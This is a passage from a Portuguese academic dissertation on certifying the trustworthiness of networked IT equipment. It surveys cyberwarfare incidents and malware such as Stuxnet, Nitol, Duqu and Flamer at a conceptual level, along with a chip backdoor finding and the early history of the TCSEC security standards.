Quando Informação deste tipo é roubada, além de facilitar os ataques físicos em tempos de guerra, também permite encetar ataques no Ciberespaço através do acesso a Sistemas de Informação e a sua consequente destruição ou comprometimento. Estas ações são cada vez mais utilizadas por parte das nações e não é de todo descabido atribuir ao Ciberespaço o título de “5º Domínio da Guerra”, surgindo assim a designação Ciberguerra, facto que leva já alguns Países a criarem dentro da sua estrutura militar grupos de tropas especializadas para combater neste Domínio. A Ciberguerra é, por muitos militares e especialistas em conflitos, apontada como o futuro teatro de operações dos conflitos entre estados inimigos, relegando para segundo plano os ataques físicos.

Todo este novo Mundo Virtual assenta numa plataforma imensa de equipamentos com diferentes características e funções. Desde os equipamentos de um nível mais “estrutural”, responsáveis pelo armazenamento, pelas comunicações, pelo processamento, até aos equipamentos de um nível mais “utilizador” como os computadores pessoais, os tablets, os smartphones, entre outros.

Quando se fala em computadores e nos aspetos relacionados com a sua segurança, pensa-se normalmente em proteção através de antivírus ou firewalls, em realizar cópias de segurança ou até no cuidado a ter com o seu manuseamento. Mas quando estes equipamentos fazem parte de estruturas governamentais, financeiras, militares ou de qualquer outra área sensível, devem ser considerados bens preciosos e salvaguardados através de políticas de segurança, que para além das proteções já referidas, devem também contemplar aspetos físicos e comportamentais, tais como catástrofes ou a má utilização humana. Existem no entanto outros fatores relacionados com a segurança que deverão ser tidos em conta, inclusive aquando na aquisição de equipamento informático novo e na sua inclusão em redes empresariais.

Tal como referido, a conjuntura Mundial atual aponta para que a aquisição destes equipamentos informáticos por organizações empresariais privadas ou estatais possa admitir a probabilidade de os mesmos não serem idóneos. Com a globalização no fabrico de semicondutores, sendo muitas vezes o fator preço o primeiro a ter em conta na hora da aquisição de circuitos integrados e microchips, deve ser considerada a possibilidade de os mesmos poderem incluir propositadamente algum tipo de vulnerabilidade que permita levar a cabo determinadas atividades maliciosas.

A espionagem industrial e de estado são facilitadas pela interligação das infraestruturas de rede das organizações à Internet. É comum que o equipamento informático adquirido pelas organizações não seja alvo de validação comportamental nem de uma certificação de idoneidade, sendo simplesmente inserido na rede da organização e eventualmente instaladas aplicações de segurança tradicionais como por exemplo antivírus e firewalls. Este modus operandi pode levar a que equipamento espião consiga ter acesso às redes e equipamentos que estejam comprometidos das

.



5 .

organizações e assim obter Informação ou até danificar os próprios equipamentos assim seja o tipo de ataque encetado.

A Legislação Portuguesa contempla já a possibilidade de Certificação de Segurança de Produtos e Sistemas de Comunicações, de Informática e de Tecnologias de Informação que sirvam de suporte ao tratamento, arquivo e transmissão de Informação Classificada, nomeadamente através do Decreto-Lei Nº3/2012 de 16 de Janeiro. No entanto, este processo de Certificação de Segurança, as Classes de Equipamentos a certificar, os Testes a efetuar, os Equipamentos de Teste, a especificação dos Requisitos dos Laboratórios de Certificação, entre outras especificidades necessárias a todo o processo, não estão ainda definidos.

Com esta Dissertação pretende-se contribuir para este processo, através da especificação de um Sistema que permita avaliar a Idoneidade de Equipamento Informático Integrado em Redes de Computadores. Assim, apresentar-se-ão propostas dos requisitos necessários para um Laboratório onde se possam efetuar testes e avaliações sobre estes equipamentos, propostas de Classificação dos Equipamentos e dos consequentes testes e avaliações a efetuar, propostas de uma Metodologia para efetuar essas operações, e um exemplo da sua implementação, ainda que não envolva a totalidade dessas operações.

De referir que um Sistema deste tipo implicará uma grande diversidade de procedimentos que podem ser realizados sobre uma grande variedade de equipamentos informáticos, os quais só serão possíveis realizar num Laboratório devidamente funcional, sendo que no exemplo de implementação do modelo apresentado nesta Dissertação se dará destaque à análise das comunicações de rede de computadores pessoais, sendo esta apenas uma parte dos procedimentos necessários para a emissão de uma certificação de idoneidade.

1.1. Eventos no Ciberespaço e Equipamentos Comprometidos

Nos últimos anos têm ocorrido alguns eventos no Ciberespaço relacionados com o Cibercrime, Ciberespionagem ou Ciberguerra tal como vários estudos, artigos e notícias de casos de equipamento informático como routers, switches, computadores, entre outros, comprometido com algum tipo de malware2 introduzido durante o seu fabrico ou nalgum ponto da cadeia de distribuição. Esta Secção pretende apresentar alguns dos exemplos considerados mais importantes de eventos deste tipo, e deste 2 Entenda-se um malware, que advém do inglês malicious software, como uma aplicação ou rotina especificamente desenvolvida para danificar, modificar ou interromper o normal funcionamento de um sistema. Vírus, worms, trojan horses entre outro tipo de aplicações com estes objetivos, são considerados malwares.

.



6 .

modo fundamentar os objetivos deste Dissertação. Existirão muitos mais eventos ou ocorrências deste tipo, sendo estes apenas alguns que se consideraram merecedores de destaque.

1.1.1. Conflito entre a Rússia e a Geórgia

Em 2008 ocorreu um conflito entre a Federação Russa e a Geórgia, resultado de interesses comuns como o petróleo do Mar Cáspio, disputa por oleodutos, e a guerra por parte da Geórgia pela posse da Ossétia do Sul, que foi declarada independente após a extinção da União Soviética. Estas incidências despoletaram ações ofensivas por parte dos dois países. Este conflito foi também travado no Ciberespaço, num modo de Guerra da Informação, sendo a primeira vez que uma operação de ataque contra uma rede de computadores em grande escala foi executada em conjunto com operações de ataque convencionais como combate bélico terrestre e aéreo.

Embora os Ciberataques não tenham sido diretamente atribuídos ao governo Russo, e mais concretamente à esfera militar, mas sim a grupos de civis, ex-militares patriotas e até mesmo simpatizantes exteriores como a Ucrânia e a Letónia, o seu impacto e historial serão sempre associados à Federação Russa. Pese este facto, os atacantes tiveram conhecimento preciso sobre as ofensivas militares que a Federação Russa iria encetar contra a Geórgia, sendo que muitos dos Ciberataques foram levados a cabo pouco tempo antes ou mesmo simultaneamente aos ataques armados. Quando os Ciberataques tiveram início, não envolveram qualquer fase de Recolha de Inteligência (Inteligence Gathering), avançando logo de uma forma consertada para o ataque a domínios específicos, sugerindo assim a existência de muita Informação recolhida e preparação anteriores aos mesmos [3].

Estes ataques contaram também com o apoio de organizações de crime organizado. Muitos dos servidores e endereços utilizados para controlar, coordenar e encetar os Ciberataques eram ou tinham sido utilizados por estas organizações e continham outro tipo de malware utilizado noutras campanhas de Cibercrime [3].

Ocorreram duas fases de ataques, sendo que a primeira vaga de Ciberataques foi levada a cabo por botnets3 e sistemas Command and Control – C&C 4, associados a organizações de crime organizado e já anteriormente utilizados em atividades 3 O termo bot é uma abreviatura de robô e diz respeito à utilização por parte de atacantes de computadores infetados com um malware que os torna em bots (ou zombies) de forma a executar tarefas automaticamente, normalmente sem conhecimento do utilizador vítima. Uma botnet é um conjunto de computadores infetados de modo a formar uma rede para fins maliciosos. 4 Um servidor do tipo Command and Control é um equipamento capaz de enviar comandos e receber outputs de equipamentos que façam parte de uma botnet, e normalmente são utilizados em ataques do tipo DDoS.

.



7 .

relacionadas com o Cibercrime que, como já foi referido, estavam prontos ainda antes da ofensiva militar Russa. Estes ataques principalmente do tipo Distributed Denial of Service - DDoS5 ocorreram na sua maioria contra instituições governamentais e de comunicação social Georgianas que não estavam preparadas para uma Ciberofensiva daquela dimensão e que consequentemente viram as suas comunicações comprometidas e os seus serviços com base na Internet deixarem de funcionar [3].

A segunda vaga dos ataques além de manter os alvos da fase anterior alargou o leque de vítimas a instituições financeiras, empresas, instituições de ensino, entre outras e foi levado a cabo já depois das tropas da Federação Russa terem entrado e ocupado algumas posições na Geórgia. Os Ciberataques mantiveram a metodologia anterior de DDoS mas também a de apropriação de página web com a colocação de imagens e mensagens pró-Rússia e a utilização de e-mails de políticos para enviar mensagens de spam com o mesmo intuito. Foram utilizadas muitas página web, entretanto divulgados por redes sociais e via e-mail, contendo listas de alvos mas também as ferramentas e as instruções para os atacar, tornando assim fácil levar a cabo este tipo de Ciberataque mesmo por pessoas com pouca experiência neste domínio [3].

Os objetivos destes Ciberataques foram suportar a campanha militar Russa na invasão à Geórgia, através do ataque a alvos específicos como página web governamentais, da comunicação social e de outras instituições, impedindo ou atrapalhando a capacidade de comunicação e coordenação internas na Geórgia.

Este caso é um exemplo de como o Ciberespaço pode ser utilizado para fins militares.

1.1.2. Stuxnet

O Stuxnet é um malware descoberto em 2010 projetado para atacar sistemas de controlo industriais e garantir o seu controlo, mais concretamente, o sistema operativo SCADA desenvolvido pela Siemens para controlar centrifugadoras Iranianas de enriquecimento de urânio [4].

O Stuxnet foi também o primeiro malware a explorar uma vulnerabilidade da Microsoft, nomeadamente a Microsoft Windows Shortcut 'LNK/PIF' Files Automatic File Execution Vulnerability, que permite que um ficheiro se auto execute, de modo a disseminar-se e permitir ao atacante executar código malicioso nas máquinas infetadas. Este malware deixa uma cópia de si próprio bem como uma ligação para essa cópia numa unidade removível como por exemplo um disco externo ou uma flash 5 Um ataque Distributed Denial of Service – DDoS é uma tentativa de tornar vários computadores disponíveis a atacantes para realizarem determinadas tarefas maliciosas sobre um alvo, que normalmente o tornam indisponível a quem procura os seus serviços.

.



8 .

drive6. Quando essa unidade é ligada a um sistema e acedida com uma aplicação que permita visualizar ícones, tal como o Explorador do Windows, a ligação executa a cópia do malware. Este facto deve-se a uma falha no próprio Windows que permite que as aplicações que apresentem os ícones, possam também executar código inadvertidamente e, no caso do Stuxnet, o código incluído no ficheiro .lnk (ficheiro do tipo atalho do Microsoft Windows) aponta para uma cópia do malware na mesma unidade removível [4].

Além desta vulnerabilidade, o Stuxnet também explora outras vulnerabilidades do Windows como sejam a Microsoft Windows Server Service RPC Handling Remote Code Execution Vulnerability e a Microsoft Windows Print Spooler Service Remote Code Execution Vulnerability que permitem ao malware executar código com privilégios de administrador de sistema [4].

Além do modo de disseminação através de unidades removíveis, o Stuxnet também tenta copiar-se a si próprio para partilhas de rede desprotegidas ou protegidas por palavras-passe de fraca complexidade [4].

O modo de ataque deste malware resume-se a três fases: depois de se disseminar e infetar os computadores baseados em sistemas Windows, procura aplicações Siemens Step 7, que são elas próprias baseadas em sistemas Windows, e que são utilizadas para controlar sistemas industriais, tais como centrifugadoras. O Stuxnet compromete então a lógica programada nestes sistemas de modo a que seja possível espiar os sistemas industriais ou inclusivamente modificar parâmetros dos equipamentos tal como a sua velocidade de centrifugação, conseguindo assim no limite destruir ou danificar os equipamentos industriais atacados [5].

O Stuxnet é considerado por muitos especialistas em Cibersegurança como sendo o malware que modificou a abordagem a este tipo de ameaças, devido à sua sofisticação, propósito e implicações. É assim considerado como uma Ciberarma, capaz de modificar, danificar ou até mesmo destruir aplicações e consequentemente os equipamentos por elas controlados. O aparecimento deste worm levou a que a comunidade internacional assumisse que as Cibertecnologias teriam de facto um impacto direto nos destinos e nas políticas dos seus países [6].

Em termos de doutrina existem alguns critérios que avaliam se determinado incidente constitui uma intervenção, o uso da força ou um ataque armado, nomeadamente em termos de quais os instrumentos utilizados, quais os efeitos, qual a gravidade, que duração, quais os objetivos e qual o contexto. Aplicando estes critérios ao Stuxnet pode-se argumentar que o seu desenvolvimento e disseminação constituem uma utilização ilegal de força, um ataque armado e um ato de agressão. O 6 Uma flash drive, normalmente designada pen usb, é um dispositivo de armazenamento com ligação através de uma interface USB.

.



9 .

instrumento utilizado foi o desenvolvimento propositado de uma Ciberarma constituída por um sofisticado malware e o seu desenho mostra que foi idealizado para efetuar danos materiais a equipamentos específicos, no caso, as centrifugadoras de enriquecimento de urânio em Natanz no Irão [6].

Embora os autores do Stuxnet não tenham sido oficialmente identificados, a sofisticação e as implicações deste malware levaram a que vários especialistas afirmassem que o mesmo teria sido criado com o apoio ao nível de uma nação, e não apenas por um ou alguns programadores independentes. Algumas fontes afirmam que os Estados Unidos da América e Israel terão estado na origem do Stuxnet [5].

Recentemente surgiu um novo caso relativo a uma central nuclear Russa, a qual não foi propositadamente identificada, em que os seus equipamentos foram infetados com o Stuxnet. Segundo Eugene Kaspersky7, o caso foi-lhe diretamente reportado por um colaborador interno da central, e afetou em larga escala o normal funcionamento da mesma, tendo esta posteriormente inibido qualquer ligação com o exterior através da Internet por forma a minimizar a disseminação do malware [7].

Devido ao seu modo de disseminação, quer através de redes informáticas, quer através de dispositivos de armazenamento removíveis, é expectável que o Stuxnet tenha conseguido e continue a infetar um elevado número de equipamentos por todo o mundo.

1.1.3. Microsoft - Operation b70

A Microsoft, mais especificamente a sua Unidade para os Crimes Informáticos (Microsoft Digital Crimes Unit), efetuou uma investigação designada Operation b70 – Nitol Malware Research and Analysis com o objetivo de analisar alguns computadores novos adquiridos em diferentes cidades chinesas.

A descoberta do malware Nitol num desses computadores pela Microsoft Digital Crimes Unit levou a que a Microsoft desse especial atenção e efetuasse um estudo sobre redes de distribuição de equipamentos consideradas inseguras. Este estudo confirmou que existiam muitos casos em que Cibercriminosos infetavam computadores, nalgum ponto da sua cadeia de construção e distribuição, que depois seriam vendidos como novos. Mais concretamente, 20% dos computadores investigados estavam infetados com algum tipo de malware [8].

Foi em agosto de 2011 que investigadores desta unidade da Microsoft adquiriram, nalgumas cidades chinesas, 20 novos computadores entre modelos portáteis e de 7 Eugene Kaspersky é o fundador da conhecida empresa de segurança Kaspersky.

.



10 .

secretária. Destes equipamentos, os investigadores concluíram que um dos computadores vinha infetado com o vírus Nitol e que outros três vinham infetados com ficheiros detetados como malware pela maioria das empresas de antivírus. O computador infetado com o vírus Nitol, depois de ligado, tentou conectar-se a um servidor C&C, facto que levou os investigadores a centrarem a sua atenção neste computador e mais precisamente neste vírus [9].

Segundo este relatório, o Nitol infeta os utilizadores através de uma variedade de mecanismos, como por exemplo ataques do tipo DDoS. Este vírus foi desenvolvido para se espalhar através de dispositivos removíveis (por exemplo unidades flash, discos externos, entre outros) e também através de partilhas de rede mapeadas. Desta forma, um computador infetado com o Nitol, infetará qualquer unidade externa que se lhe ligue, e estas unidades flash, discos externos ou partilhas de rede poderão assim depois infetar novos sistemas [9].

O Nitol copia-se para diretorias que contenham aplicações, ou seja, ficheiros do tipo DLL, EXE, OCX, entre outros, ou ficheiros comprimidos como por exemplo ficheiros do tipo RAR, ZIP, entre outros. Este comportamento deve-se ao facto de nestas diretorias os atributos SYSTEM/READ-ONLY/HIDDEN dos ficheiros ou subdirectorias fazerem com que estes não estejam visíveis por defeito, por exemplo no Explorador do Windows. A principal razão pela qual o Nitol se copia a ele próprio para diretorias deste tipo, tem a ver com o facto de explorar o processo de leitura por módulos que o Windows utiliza quando executa aplicações, uma vez que estas quando executadas carregam para memória vários tipos de ficheiros. Alguns destes ficheiros que têm código necessário à aplicação são designados de Dynamic Link Libraries - DLLs, e quando a aplicação se inicia, procura em primeiro lugar na sua própria diretoria, sendo que caso não encontre estes ficheiros, existem mais localizações onde irá procurar, terminando esta procura na diretoria Windows\System32 [9].

O ficheiro utilizado pelo Nitol é o LPK.DLL, que é carregado por todas as aplicações que têm interface gráfica, e também por algumas que não têm. Uma vez que as aplicações procuram em primeiro lugar por este ficheiro na sua própria diretoria, se o computador estiver infetado, então o ficheiro comprometido do Nitol será o primeiro a ser carregado, antes do ficheiro com o mesmo nome que se encontra na diretoria Windows\System32. Este malware é depois executado como um background process, ou seja, uma aplicação sem interface gráfica em segundo plano, e poderá efetuar operações e comandos enviados pelo atacante [9].

Esta investigação da Unidade para os Crimes Informáticos da Microsoft revelou como o Nitol utilizava um domínio associado a atividades maliciosas desde 2008, designado 3322.org, que também alojava cerca de 500 outros malwares com diferentes objetivos maliciosos, como por exemplo ligar o microfone e câmara dos computadores

.



11 .

infetados, conseguir obter todos as teclas premidas, entre outras ações capazes de aceder e roubar Informação pessoal [8].

Este é um exemplo em que equipamento adquirido como novo foi comprometido nalgum ponto da sua cadeia de desenvolvimento, o qual seria assumido como idóneo por parte do seu comprador e prontamente ligado a uma rede informática podendo assim determinado atacante obter Informação desse e de outros equipamentos ligados a essa rede.

1.1.4. Duqu

Em 2011 o Laboratório de Criptografia e Segurança de Sistemas da Universidade de Tecnologia e Economia de Budapeste (Laboratory of Cryptography and System Security - CrySyS) descobriu uma ameaça semelhante ao Stuxnet que designou de Duqu uma vez que cria ficheiros com o sufixo “~DQ” [10].

O objetivo do Duqu passa por obter Informação sensível de entidades, preferencialmente mas não só, como infraestruturas industriais ou fabricantes de sistemas, de modo a conduzir mais facilmente ataques a essas entidades mas também e principalmente a terceiros que tenham algum tipo de relação com elas. Os atacantes procuram Informação como documentos de desenho e implementação que possam ajudar a montar futuros ataques a indústrias e mais concretamente aos seus sistemas de controlo [10].

Ao contrário do Sutxnet, o Duqu não se auto replica e dissemina, é um trojan de acesso remoto (Remote Access Trojan - RAT), e foi concebido para ser preferencialmente direcionado a um determinado número limitado de organizações devido aos seus Bens e Informação específicos. Contudo, e através de instruções enviadas pelos servidores C&C pode ser instruído a replicar-se através de partilhas em redes locais [10].

O modo de instalação inicia-se através de um e-mail especificamente orientado para determinada organização com um documento do Microsoft Word contendo um 0-day kernel exploit8 capaz de instalar o Duqu. Uma vez aberto o documento a ameaça é despoletada. Em termos que especificidades, o Duqu consiste num ficheiro do tipo DLL com muitos ficheiros incorporados, e num ficheiro de configurações. Por sua vez estes ficheiros serão instalados por um outro ficheiro executável, o instalador. Este instalador regista o DLL como sendo um serviço de modo a que seja automaticamente iniciado com o sistema. A partir deste momento o Duqu é executado de forma 8 Um 0-day attack (exploit) é um ataque capaz de explorar uma vulnerabilidade até então desconhecida.

.



12 .

invisível ao comum utilizador. Após a sua instalação é possível obter um registo das teclas premidas pelo utilizador tal como outras informações importantes sobre o sistema [10].

O Duqu utiliza os protocolos HTTP e HTTPS para comunicar com servidores do tipo C&C, sendo que foram registados alguns deles como estando alojados na India, Bélgica e Vietname [10].

Outra característica do Duqu é estar por defeito configurado para se executar durante 30 dias, período após o qual se auto-remove do sistema. Esta configuração pode ser útil aos atacantes, caso a ameaça seja descoberta, deixando assim um período de tempo limitado para que a mesma possa ser estudada, e diminuindo assim as hipóteses de serem descobertos [10].

O Duqu utiliza grande parte do código do Stuxnet, contudo ao invés de estar desenhado para sabotar sistemas de controlo industriais, é seu objetivo ganhar capacidade de acesso remoto a sistemas com o propósito de espiar e obter Informação sensível de uma determinada entidade para ajudar em futuros ataques a outras organizações.

1.1.5. Flamer

Na saga do Stuxnet e do Duqu surge em 2012 outra ameaça designada de Flamer. Este sofisticado malware tem como objetivo roubar grandes quantidades de Informação. O Flamer após infetar um computador é capaz de obter Informação de sistema (como por exemplo o nome do computador, os processos e serviços ativos, propriedades de dispositivos removíveis, entre outra), Informação de rede (como por exemplo o endereço IP, as configurações de DNS, DHCP, Proxy, Gateway, informação sobre tabelas do routing, informação sobre servidores de e-mail, portas abertas, entre outra), Informação de perfis e credenciais (como por exemplo as credenciais locais do computador, Informação do Outlook, Informação sobre serviços de acesso remoto, entre outra), Informação de utilizadores e ambiente (como por exemplo imagem, vídeo, som, histórico de navegação, dispositivos bluetooth vizinhos, informação sobre outros computadores na rede, entre outra), Informação sobre ficheiros (como por exemplo ficheiros do Microsoft Office, ficheiros Autocad, ficheiros de imagem, atalhos, entre outra), meta informação de ficheiros (como por exemplo cabeçalhos, autor, empresa, comentários, data de modificação, palavras chave, revisões, entre outra), Informação sobre aplicações instaladas e Informação sobre o tráfego de rede [11] [12].

.



13 .

O envio desta Informação é depois efetuado em pequenas tranches para diminuir a possibilidade de deteção de excesso de tráfego na rede através de análise de pacotes de dados [12].

O Flamer pode inicialmente recolher pequenas quantidades de dados como por exemplo a localização de Informação importante e posteriormente, com base nessa recolha, ser atualizado para que possa recolher maior quantidade e mais importante Informação. O Flamer é composto por módulos, referenciados como apps pelo próprio malware, que têm a possibilidade de ser descarregados pelos autores de modo a serem atualizados. Entre estes módulos encontram-se um servidor web, um servidor de base de dados, um servidor proxy, um interpretador Lua9, a possibilidade de trocar Informação com dispositivos bluetooth e a possibilidade de comunicações seguras [13].

Estes módulos, entre outros componentes, estão armazenados no ficheiro principal deste malware, que é o primeiro a ser executado num computador que esteja comprometido, designado mssecmgr.ocx. Este ficheiro contém uma tabela com a lista dos vários componentes, e que também atua como um índice para a recolha da Informação, de um modo semelhante a um filesystem comum. Além desta tabela, o ficheiro é também composto pelo código responsável por implementar os servidores, a proxy, e as outras funcionalidades referidas anteriormente [13].

Quando executado, o mssecmgr.ocx extrai e executa dois outros ficheiros, o advnetcfg.ocx e o nteps32.ocx que conseguem comprometer o ficheiro de sistema shell32.dll e assim lançar o interpretador de scripts Lua. Uma vez lançado, este interpretador irá verificar se existem módulos para atualizar, irá criar uma base de dados com Informação roubada e também irá executar outros módulos ou scripts como por exemplo o “ATTACKOP” que ataca outro computador e copia o Flamer utilizando uma variedade de técnicas, o “CASefety” que verifica qual as aplicações anti vírus, o “CRUISE” que rouba credenciais e o “Euphoria” que utiliza as vulnerabilidades dos ficheiros do tipo “lnk” [13].

Devido à complexidade e características do seu código, o Flamer é comparado ao Stunxet e ao Duqu, sendo que o seu objetivo é mais semelhante ao do Duqu uma vez que se trata de uma ferramenta de obtenção de Informação. Alguns dos nomes de ficheiros associados a este malware são semelhantes aos detetados no incidente das

9 Lua é uma linguagem de programação de scripting especialmente concebida para ser incorporada noutras linguagens ou aplicações. É um método simples de estender as funcionalidades dessas aplicações permitindo ao programador programar um script que possa posteriormente utilizar funcionalidades da aplicação onde está incorporado. No caso do Flamer permite ao atacante reduzir o esforço no desenvolvimento de novas funcionalidades.

.



14 .

centrifugadoras de urânio no Irão, e sugerem que os seus alvos serão primariamente a Europa de Leste e o Médio Oriente [14].

1.1.6. Backdoor num Chip de utilização Militar

Em 2012, dois investigadores do Laboratório de Informática da Universidade de Cambridge, Sergei Skorobogatov e Christopher Woods, publicaram um Artigo designado Breakthrough silicon scanning discovers backdoor in military chip, com o resumo do que foi a sua investigação sobre a descoberta de um backdoor10 num chip utilizado em equipamento e armamento militar.

É sabido que atualmente, a Ciberespinoagem e o Ciberterrorismo ganham espaço no xadrez mundial que é a competição entre Países. Com a globalização e o acesso a Países que conseguem colocar nos mercados os seus produtos a preços altamente competitivos, o risco de se obter um equipamento comprometido é elevado. Estes investigadores decidiram que o seu alvo de análise seria o semicondutor Actel/Microsemi ProA-SIC3 A3P250 devido às suas altas especificações de segurança e grande utilização no meio industrial e militar [15].

No Artigo, os seus autores demonstram como foi deliberadamente inserida uma backdoor não documentada e funcionalidades adicionais neste chip que é utilizado em áreas tão sensíveis como a militar, aeroespacial ou médica.

Este chip é fabricado pela Microsemi Corporation que apresenta uma extensa oferta na área dos semicondutores e soluções para as áreas das comunicações, defesa e segurança, aeroespacial, industrial, médica, entre outras [16].

O chip Actel/Microsemi ProA-SIC3 A3P250, que é um chip do tipo FPGA - Field-Programmable Gate Array11, tem como principais características o seu baixo custo e baixo consumo, oferecendo um importante avanço no que toca a performance e características que satisfaçam as mais diversas e exigentes aplicações. Este chip é, segundo o seu fabricante, altamente seguro. Diz a Actel/Microsemi que “mesmo sem quaisquer medidas de segurança adicionais, não é possível ler os dados de um dispositivo já programado. Depois desta programação terminada, o algoritmo de 10 Uma backdoor, ou traduzindo para “porta dos fundos”, é uma falha de segurança, que pode existir num computador, microchip, algoritmo, sistema operativo ou aplicação, que permite ignorar a normal autenticação ou as normas de segurança, oferecendo assim acesso ilegítimo ao dispositivo ou aplicação em causa. 11 Um chip FPGA - Field-Programmable Gate Array, é um circuito integrado desenhado para ser configurado pelo cliente ou pelo designer depois do seu fabrico, daí o seu nome de field-programmable, ou seja, “programado em campo” ou em “ação”. – Fonte: http://en.wikipedia.org/wiki/Field-programmable_gate_array

.



15 .

programação irá recarregar os dados de programação para o dispositivo. O dispositivo irá então utilizar um circuito embutido para determinar se foi corretamente programado”, É-lhe também associada um segurança eficiente, uma vez que nenhuma configuração é armazenada fora do chip [15] [16].

No entanto, a investigação dos autores do Artigo revelou que existem algumas funcionalidades escondidas dentro do controlador JTAG12 do chip e que uma delas é fornecer o acesso secreto aos dados de configuração, sendo este controlador JTAG uma parte integrante do desenho do chip o qual não deveria permitir ser modificado depois do seu fabrico.

De acordo com o Artigo em causa, as backdoors são tratadas de modo diferente de outras características não documentadas, que a maioria dos fabricantes de chips introduz nestes dispositivos e que servem para testes de fábrica e fins de depuração de erros. A diferença entre uma backdoor e uma função ou comando não documentado passa pela capacidade de ganhar acesso ao dispositivo quando isso é suposto não acontecer. Estes comandos não documentados existem na maior parte dos JTAG, mas não são criados para comprometer a segurança do chip. Os autores encontraram um modo não documentado de aceder aos chips de terceira geração Actel/Microsemi Flash FPGA [15].

Caso um potencial atacante obtenha acesso remoto ao chip poderá não só apagar ou modificar o seu código como eventualmente fisicamente danifica-lo através do upload de código malicioso por exemplo capaz de fazer com que uma maior voltagem passe pelo chip [15]. Imagine-se as consequências deste tipo de ação em equipamentos militares como mísseis, equipamentos de comunicações ou quaisquer outros de áreas tão sensíveis que possam comprometer não só uma organização como uma cidade ou país.

Este é um exemplo de um componente de hardware supostamente seguro e idóneo, com vulnerabilidades (talvez propositadas, ou não) que podem ser exploradas resultando em graves consequências.

12 O JTAG - Joint Test Action Group é o nome comum do que mais tarde se tornou standard como sendo o IEEE 1149.1 Standard Test Access Port and Boundary-Scan Architecture e que foi desenhado para testar placas de circuitos impressos, as portas de teste dos circuitos integrados e também permitir que hardware programador transfira dados para a memória interna não-volátil do dispositivo. Fonte: http://en.wikipedia.org/wiki/Joint_Test_Action_Group

.



16 .

1.1.7. Assalto Chinês ao Pentágono

Já em 2013, e segundo refere um relatório oficial preparado para o Pentágono pelo Conselho Científico de Defesa (Defense Science Board), unidades chinesas de hackers conseguiram nos últimos anos através de grandes campanhas de Ciberespionagem, penetrar nos sistemas e roubar Informação confidencial entre ela de programas Norte Americanos de defesa relativos a sistemas de armamento sensíveis, que incluíam novos mísseis, aeronaves e navios de guerra [17].

De entre a Informação usurpada inclui-se todo o programa do F-35, o super caça de nova geração e o mais caro da história da aviação Norte Americana, a nova versão do F-18 Super Hornet, o helicóptero UH-60, o transporte híbrido V-22 Osprey (um avião que também pode ser helicóptero), os futuros navios de defesa de costa da US Navy, uns revolucionários trimarans (embarcação de três cascos), as tecnologias e planos de defesa antimíssil (Patriot e Aegis), os radares mais avançados, entre outra Informação secreta e sensível à soberania dos Estados Unidos da América [17].

Assumindo que a informação constante no relatório está correta e que efetivamente a China espiou e roubou Informação aos Estados Unidos da América, estas intrusões terão dado a Pequim acesso à tecnologia militar de ponta dos Estados Unidos da América e ao mesmo tempo que enfraqueceram a vantagem por parte dos americanos deram aos chineses inteligência há muito tempo procurada neste campo, de modo a superar (ou pelo menos igualar) a capacidade Norte Americana. Esta inteligência foi assim “adquirida” de uma forma que permitiu poupar à China elevados custos e muitos anos de investigação e implementação.

Com o roubo de toda esta Informação pode colocar-se outra questão: poderá também a China sabotar os sistemas de armas e defesa Norte Americanos? Em princípio sim, uma vez que garantido o acesso a esses sistemas, os grupos militarizados de hackers poderão compromete-los de diversos modos, como por exemplo programar mísseis para se auto detonar ou mudar de rota caso o seu alvo seja a China, sabotar a eletrónica dos aviões ou navios, destruir ou adulterar Informação sensível, confundir ou comprometer sistemas de defesa, entre toda uma panóplia de opções que seriam catastróficas para os americanos.

Na versão pública do relatório foi referido que o Pentágono não estaria preparado para combater um Ciberconflito em larga escala. Embora nesta versão do relatório não venham explícitos detalhes de como foram efetuadas as ações de Ciberespionagem, há alguns militares e ex-militares Norte Americanos que referem que o Pentágono não sabia que tinha sido espiado e que foi o FBI que detetou e os informou sobre estes ataques [17].

.



17 .

Como tentativa de solucionar este problema e evitar outras ações de Ciberspionagem, o Pentágono lançou um programa piloto de modo a auxiliar a indústria da defesa a reforçar as suas defesas informáticas, permitindo às empresas utilizar Informação classificada da Agência Nacional de Segurança (National Security Agency - NSA) sobre ameaças e ataques deste tipo e assim facilitar a investigação e desenvolvimento de soluções [17].

Este é mais um exemplo, embora não diretamente relacionado com equipamento novo comprometido, das potencialidades da Ciberespionagem e das graves consequências que o roubo de Informação sensível pode trazer para uma nação.

.



18 .

.


19 .

Capítulo 2 Evolução Histórica

Este Capítulo enuncia as principais iniciativas, normas e documentação relacionadas com a Segurança da Informação e de Equipamento Informático levadas a cabo nos últimos anos. No final é apresentado um resumo da sua evolução histórica.

.


Capítulo 2 – Evolução Histórica

20 .

2.1. Enquadramento

Os aspetos relacionados com a Segurança em TI e a Segurança da Informação não são uma preocupação tão recente como às vezes se possa pensar. Embora tivesse sido nos Estados Unidos da América que começaram a ser elaboradas e utilizadas as primeiras normas para a Segurança Informática, hoje em dia existem e são utilizadas um pouco por todo o Mundo.

Efetuado o enquadramento da Dissertação no Capítulo anterior, este Capítulo tem como objetivo abordar e descrever de forma sucinta a evolução das principais iniciativas, normas e documentação nalguns Países ao nível dos aspetos relacionados com a Segurança da Informação e de Equipamento Informático.

2.2. TCSEC - Trusted Computer System Evaluation Criteria

Em 1967 foi reunida uma task-force sob alçada do Conselho Científico de Defesa do Governo Norte-Americano, com o objetivo de definir políticas de segurança para sistemas computorizados, de modo a proteger Informação classificada [18].

O resultado foi a publicação em 1970 do relatório Security Controls for Computer Systems o qual continha uma série de políticas e recomendações técnicas que deveriam ser tomadas em conta, e que visavam diminuir as ameaças de comprometer Informação classificada quer através do seu acesso direto, quer através do acesso remoto aos sistemas onde a mesma se encontrasse armazenada [18].

A diretiva do Departamento da Defesa Americano (U.S. Department of Defense - DoD) com o nome DoD 5200.28 e o seu respetivo manual, publicados em 1972 e 1973 respetivamente, respondiam a estas recomendações estabelecendo políticas, requisitos de segurança, controlos administrativos e medidas técnicas com o objetivo de proteger a Informação classificada armazenada em computadores do Governo [18].

Em 1977, iniciou-se um programa designado por DoD - Computer Security Initiative com o objetivo de resolver questões relacionadas com a segurança informática, e mais tarde em 1981 foi formado o DoD - Computer Security Center para apoiar e expandir o trabalho realizado graças a esse programa. O principal objetivo deste Centro era

Figura 1 - Trusted Computer System Evaluation Criteria (fonte: http://en.wikipedia.org/wiki/Trusted_Computer_System_Evaluation_Criteria)

.



21 .

garantir a ampla disponibilidade de sistemas informáticos confiáveis que pudessem ser utilizados no processo de tratamento e proteção de Informação classificada [18].

